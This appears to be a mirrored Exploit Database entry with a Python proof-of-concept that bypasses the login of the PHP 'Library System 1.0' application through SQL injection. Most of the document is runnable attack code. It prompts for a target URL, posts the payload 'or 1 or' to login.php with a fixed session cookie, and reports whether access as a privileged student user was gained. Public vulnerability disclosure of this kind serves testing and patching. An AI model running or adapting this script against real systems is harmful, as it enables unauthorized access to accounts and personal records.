Library System 1.0 – Authentication Bypass

• Exploit Database
• 17 阅读

• 作者： Himanshu Shukla
  日期： 2021-01-22
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/49462/

• # Exploit Title: Library System 1.0 - Authentication Bypass Via SQL Injection
  # Exploit Author: Himanshu Shukla
  # Date: 2021-01-21
  # Vendor Homepage: https://www.sourcecodester.com/php/12275/library-system-using-php.html
  # Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/libsystem.zip
  # Version: 1.0
  # Tested On: Windows 10 + XAMPP 7.4.4
  # Description: Library System 1.0 - Authentication Bypass Via SQL Injection
  #STEP 1 : Run The Exploit With This Command : python3 exploit.py
  #STEP 2 : Input the URL of Vulnable Application.For Example: http://10.9.67.23/libsystem/
  #STEP 3 : Open the Link Provided At The End After Successful authentication bypass in Browser. 
  
  #Note - You Will Only Be Able To Access The Student Area as a Privileged User.
  
  import requests
  YELLOW ='\033[33m' # Yellow Text
  GREEN ='\033[32m' # Green Text
  RED ='\033[31m' # Red Text
  RESET = '\033[m' # reset to the defaults
  
  print(YELLOW+'________ ____ ', RESET)
  print(YELLOW+'___| |_ ___ / / ___|| |__ __ ___| |/ _ \____', RESET)
  print(YELLOW+" / _ \ __/ __| / /|___ \| '_ \ / _` |/ _` | | | \ \ /\ / /", RESET)
  print(YELLOW+'|__/ || (__ / /___) | | | | (_| | (_| | |_| |\ VV / ', RESET)
  print(YELLOW+' \___|\__\___/_/|____/|_| |_|\__,_|\__,_|\___/\_/\_/', RESET)
  print(YELLOW+" ", RESET)
  print('********************************************************')
  print('**LIBRARY SYSTEM 1.0**')
  print('** AUTHENTICATION BYPASS USING SQL INJECTION**')
  print('********************************************************')
  
  print('Author - Himanshu Shukla')
  
  
  #Create a new session
  
  s = requests.Session() 
  
  #Set Cookie
  cookies = {'PHPSESSID': 'c9ead80b7e767a1157b97d2ed1fa25b3'}
  
  LINK=input("Enter URL of The Vulnarable Application : ")
  
  #Authentication Bypass
  print("[*]Attempting Authentication Bypass...")
  values = {"student":"'or 1 or'","login":""}
  r=s.post(LINK+'login.php', data=values, cookies=cookies) 
  
  r=s.post(LINK+'login.php', data=values, cookies=cookies) 
  
  #Check if Authentication was bypassed or not.
  logged_in = True if not("Student not found" in r.text) else False
  l=logged_in
  if l:
  	print(GREEN+"[+]Authentication Bypass Successful!", RESET)
  	print(YELLOW+"[+]Open This Link To Continue As Privileged User : "+LINK+"index.php", RESET)
  else:
  	print(RED+"[-]Failed To Authenticate!", RESET)